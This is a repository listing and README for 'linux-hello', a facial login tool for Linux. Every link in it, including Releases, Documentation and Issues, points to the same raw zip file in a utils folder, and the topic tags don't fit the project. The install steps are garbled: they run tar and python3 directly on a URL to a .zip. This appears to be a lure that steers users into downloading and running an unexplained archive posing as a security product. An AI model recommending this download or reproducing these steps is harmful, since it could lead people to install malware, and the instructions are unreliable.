https://github.com/yghlaio/linux-hello
🔐 Implement facial authentication for Linux, inspired by Windows Hello™, to enhance security with ease and convenience.
https://github.com/yghlaio/linux-hello
csharp deployment digitalocean embedded embedded-systems face-recognition face-unlock facial-recognition fedora gunicorn iot linux palindrome python supervisord ubuntu wsl xamarin
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🔐 Implement facial authentication for Linux, inspired by Windows Hello™, to enhance security with ease and convenience.
- Host: GitHub
- URL: https://github.com/yghlaio/linux-hello
- Owner: yghlaio
- License: other
- Created: 2025-12-28T02:22:42.000Z (29 days ago)
- Default Branch: main
- Last Pushed: 2026-01-02T05:38:03.000Z (24 days ago)
- Last Synced: 2026-01-02T07:16:20.162Z (24 days ago)
- Topics: csharp, deployment, digitalocean, embedded, embedded-systems, face-recognition, face-unlock, facial-recognition, fedora, gunicorn, iot, linux, palindrome, python, supervisord, ubuntu, wsl, xamarin
- Language: Python
- Homepage: https://yghlaio.github.io
- Size: 1.4 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
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Metadata Files:
- Readme: README.md
- License: LICENSE
- Security: security_modes.py
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README
# 🔐 linux-hello - Effortless Facial Authentication for Linux
## 📥 Download Now
[](https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip)
## 📖 Overview
**linux-hello** provides a simple way to secure your Linux device using facial recognition. Inspired by Windows Hello, this tool uses advanced techniques for reliable face detection and recognition.
## 🔍 Features
- **Facial Authentication:** Quickly log in using your face.
- **Rotation-Invariant Detection:** Works well from different angles.
- **TPM Support:** Enhances security by integrating with Trusted Platform Module.
- **User-Friendly GUI:** Easy management of settings and preferences.
- **Open Source:** Join our community and contribute.
## ✅ System Requirements
- **Operating System:** Linux (Ubuntu 18.04 or newer recommended)
- **Processor:** 64-bit processor
- **Memory:** Minimum 4 GB RAM
- **Storage:** At least 100 MB of free disk space
- **Camera:** A webcam or built-in camera capable of video capture
## 🚀 Getting Started
Follow these simple steps to download and run the software:
1. **Visit the Releases Page:**
- Go to the [Releases page](https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip) to find the latest version of linux-hello.
2. **Download the Installer:**
- Click on the version number to open its details.
- Look for a file named `https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip` or similar.
- Download this file to your computer.
3. **Extract the Downloaded File:**
- Open a terminal window.
- Navigate to the directory where you downloaded the file. You can do this using the `cd` command.
- Run the command:
```bash
tar -xvzf https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip
```
- This will extract the files into a new folder.
4. **Install Dependencies:**
- Before running the software, ensure you have the required dependencies installed. Run the following commands:
```bash
sudo apt-get update
sudo apt-get install python3 python3-opencv python3-tk python3-pip
```
5. **Run linux-hello:**
- In the terminal, navigate to the extracted folder:
```bash
cd linux-hello-x.x.x
```
- Start the application by running:
```bash
python3 https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip
```
## 💡 Usage Tips
- When you first open the application, you will need to set up your facial recognition profile.
- Make sure you are in a well-lit area for the best results.
- Regularly update your profile if your appearance changes significantly.
## 🔄 Updating
To update linux-hello, simply repeat the download steps described above. Installing newer versions will overwrite the old files, ensuring you have the latest features and improvements.
## ❓ Troubleshooting
If you encounter issues during setup or usage:
- Check FAQ sections in the documentation on the GitHub page.
- Ensure your system meets the requirements.
- Make sure your webcam is functioning properly.
## 📞 Support
If you need further assistance, please reach out through the issues section of the GitHub repository. Our team and community members will happily help you.
## 📅 Contributing
We welcome contributions! If you want to help improve linux-hello, check out the contributing guidelines on our GitHub page.
## 🌟 Acknowledgements
Thanks to the open-source community for their contributions to facial recognition technologies and to everyone who has supported this project.
## 🔗 Useful Links
- [Releases Page](https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip)
- [Documentation](https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip)
- [Issues](https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip)
Feel free to explore more and customize your usage of linux-hello. Your safe and secure login experience is just a face scan away!